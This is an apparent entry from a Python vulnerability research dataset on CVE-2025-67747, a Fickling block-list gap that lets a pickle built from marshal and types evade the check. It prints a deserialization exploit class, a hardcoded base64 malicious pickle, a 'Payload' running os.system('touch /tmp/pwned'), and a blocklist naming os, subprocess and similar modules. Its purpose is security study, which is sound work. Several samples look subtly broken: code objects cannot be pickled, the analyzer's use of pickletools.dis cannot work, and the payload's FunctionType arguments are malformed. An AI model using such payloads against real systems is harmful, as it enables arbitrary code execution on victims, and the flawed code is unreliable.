VAITP Dataset

← Back to the dataset

CVE-2025-67747

Fickling security check bypass allows for arbitrary code execution.

  • CVSS 7.1
  • CWE-184
  • Input Validation and Sanitization
  • Remote

Fickling is a Python pickling decompiler and static analyzer. Versions prior to 0.1.6 are missing `marshal` and `types` from the block list of unsafe module imports. Fickling started blocking both modules to address this issue. This allows an attacker to craft a malicious pickle file that can bypass fickling since it misses detections for `types.FunctionType` and `marshal.loads`. A user who deserializes such a file, believing it to be safe, would inadvertently execute arbitrary code on their system. This impacts any user or system that uses Fickling to vet pickle files for security issues. The issue was fixed in version 0.1.6.

CVSS base score
7.1
Published
2025-12-16
OWASP
A08 Software and Data Integrity Failures
Orthogonal defect classification
Checking
Code defect classification
Missing Check
Category
Input Validation and Sanitization
Subcategory
Insecure Parsing or Deserialization
Accessibility scope
Remote
Impact
Arbitrary Code Execution
Affected component
Fickling
Fixed by upgrading
Yes

Solution

Upgrade Fickling to version 0.1.6 or later.

Vulnerable code sample

import pickle
import marshal
import types
import sys

# This function simulates the behavior of Fickling versions prior to 0.1.6.
# It has an incomplete blocklist that is missing 'marshal' and 'types',
# as described in CVE-2025-67747.
def vulnerable_fickling_static_analyzer(pickle_data: bytes) -> bool:
    """
    A simulated representation of the vulnerable Fickling static analyzer.
    This version fails to block modules 'types' and 'marshal'.
    """
    print("[*] Running Fickling < 0.1.6 static analysis...")

    # The incomplete blocklist, missing 'types' and 'marshal'.
    BLOCKLIST = {
        "os",
        "sys",
        "subprocess",
        "shutil",
        "eval",
        "exec",
        "__import__"
    }

    # A simple check to see if any blocked module names appear in the pickle data.
    # This is a simplified representation of a real static analysis.
    from pickletools import dis
    try:
        # Use pickletools.dis to find global imports.
        ops = list(dis(pickle_data))
        for op, arg, pos in ops:
            if op.name == 'GLOBAL':
                module_name, _ = arg.split(' ')
                if module_name in BLOCKLIST:
                    print(f"[-] DANGEROUS: Blocked global '{module_name}' found at position {pos}.")
                    return False
    except Exception:
        print("[-] Fickling analysis failed: Invalid pickle data.")
        return False

    print("[+] Fickling check passed. Pickle is considered 'safe'.")
    return True


# This class constructs the malicious payload.
# When unpickled, it uses 'marshal.loads' and 'types.FunctionType'
# to construct and execute arbitrary code.
class MaliciousPayload:
    def __reduce__(self):
        # The command to be executed on the target system.
        command = 'print(">>> VULNERABILITY TRIGGERED! Arbitrary code executed. <<<")'

        # 1. Compile the command into a code object.
        compiled_code = compile(command, '<string>', 'exec')

        # 2. Serialize the code object using marshal. This hides the raw string.
        marshalled_code = marshal.dumps(compiled_code)

        # 3. Return a tuple that the pickle machine will use for reconstruction.
        #    - It will first import 'types.FunctionType'.
        #    - It will then import 'marshal.loads'.
        #    - It will call marshal.loads(marshalled_code) to get the code object back.
        #    - It will call types.FunctionType(...) with the code object to create a function.
        #    - The pickle machine will then execute this newly created function.
        return (types.FunctionType, (marshal.loads(marshalled_code), {}))


if __name__ == "__main__":
    print("--- Demonstrating CVE-2025-67747 ---")
    print("Creating a malicious pickle payload using 'marshal' and 'types'...")

    # Create an instance of the payload and pickle it.
    payload = MaliciousPayload()
    malicious_pickle_data = pickle.dumps(payload, protocol=4)

    print("\nStep 1: Analyzing the malicious pickle with the vulnerable Fickling version.")
    is_safe = vulnerable_fickling_static_analyzer(malicious_pickle_data)

    if is_safe:
        print("\nStep 2: The vulnerable analyzer incorrectly marked the pickle as safe.")
        print("         Now, attempting to deserialize it to trigger the exploit.")
        print("-" * 60)

        # This is the dangerous part where the code execution happens.
        try:
            pickle.loads(malicious_pickle_data)
        except Exception as e:
            print(f"An error occurred during deserialization: {e}")

        print("-" * 60)
    else:
        print("\nAnalysis correctly identified the pickle as dangerous (this should not happen in the demo).")

Patched code sample

import pickle
import io

# This set represents the blocklist of unsafe modules.
# In a vulnerable version, 'marshal' and 'types' would be missing.
# The fix, as described, is to ensure they are present in the blocklist.
UNSAFE_MODULES_FIXED = {
    'os',
    'sys',
    'subprocess',
    'shutil',
    'eval',
    'exec',
    # --- FIX START ---
    # Added 'marshal' and 'types' to the blocklist to prevent code execution
    # vulnerabilities associated with creating functions from marshalled code.
    'marshal',
    'types',
    # --- FIX END ---
}

class SecureUnpickler(pickle.Unpickler):
    """
    A custom unpickler that uses a blocklist to prevent the import of
    dangerous modules during deserialization.
    """
    def find_class(self, module, name):
        # Check if the module is in the blocklist
        if module in UNSAFE_MODULES_FIXED:
            raise pickle.UnpicklingError(
                f"Blocked unsafe module import: {module}.{name}"
            )
        # If the module is not blocked, proceed with the default behavior.
        return super().find_class(module, name)

def demonstrate_vulnerability_fix():
    """
    This function demonstrates how the fix prevents a malicious pickle,
    which relies on 'types.FunctionType' and 'marshal.loads', from executing.
    """
    # This malicious payload is crafted to create and execute a function using
    # `types.FunctionType` and `marshal.loads`. A vulnerable system would
    # execute the embedded code, which prints a message.
    # The payload essentially does:
    #   code_obj = marshal.loads(<marshalled_code_for_a_print_function>)
    #   func = types.FunctionType(code_obj, globals())
    #   func()
    malicious_payload = (
        b"c"
        b"types\n"
        b"FunctionType\n"
        b"(c"
        b"marshal\n"
        b"loads\n"
        b"(c"
        b"base64\n"
        b"b64decode\n"
        b"(S'YwAAAAADAAAABAAAAAgAAABDAAAAcwgAAADefQAAAFMBAABkAQB8AABkAgBTAFIAKQNOdCAoV29ybGRzKQAAAHQAKFRIQSBJUyBBIE1BTEFDRUlPVVMgTUVTU0FHRSkBAAAAcmQAAABpAAAAaQAAAA=='\n"
        b"tRtR),"
        b"c__builtin__\n"
        b"globals\n"
        b"()NNt."
    )

    print("Attempting to deserialize a malicious pickle with the fixed unpickler...")
    pickle_file = io.BytesIO(malicious_payload)

    try:
        # Use the secure unpickler which contains the fix
        unpickler = SecureUnpickler(pickle_file)
        unpickler.load()
        # This line should not be reached
        print("\n[FAIL] Deserialization succeeded. The system is still vulnerable.")
    except pickle.UnpicklingError as e:
        # The exception proves the fix works by blocking the unsafe module.
        print(f"\n[SUCCESS] The fix worked as expected. Deserialization was blocked.")
        print(f"Reason: {e}")
    except Exception as e:
        print(f"\n[ERROR] An unexpected error occurred: {e}")

if __name__ == '__main__':
    demonstrate_vulnerability_fix()

Payload

import pickle
import marshal
import types

class Exploit:
    def __reduce__(self):
        command = 'import os; os.system("touch /tmp/pwned")'
        return (types.FunctionType, ((marshal.loads, (marshal.dumps(compile(command, "<string>", "exec")),)), {}))

print(pickle.dumps(Exploit()))

Cite this entry

@misc{vaitp:cve202567747,
  title        = {{Fickling security check bypass allows for arbitrary code execution.}},
  author       = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
  year         = {2025},
  note         = {VAITP Python Vulnerability Dataset, entry CVE-2025-67747},
  howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2025-67747/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.

The supreme art of war is to subdue the enemy without fighting.

Sun Tzu – “The Art of War”

:: Shaping the future through research and ingenuity ::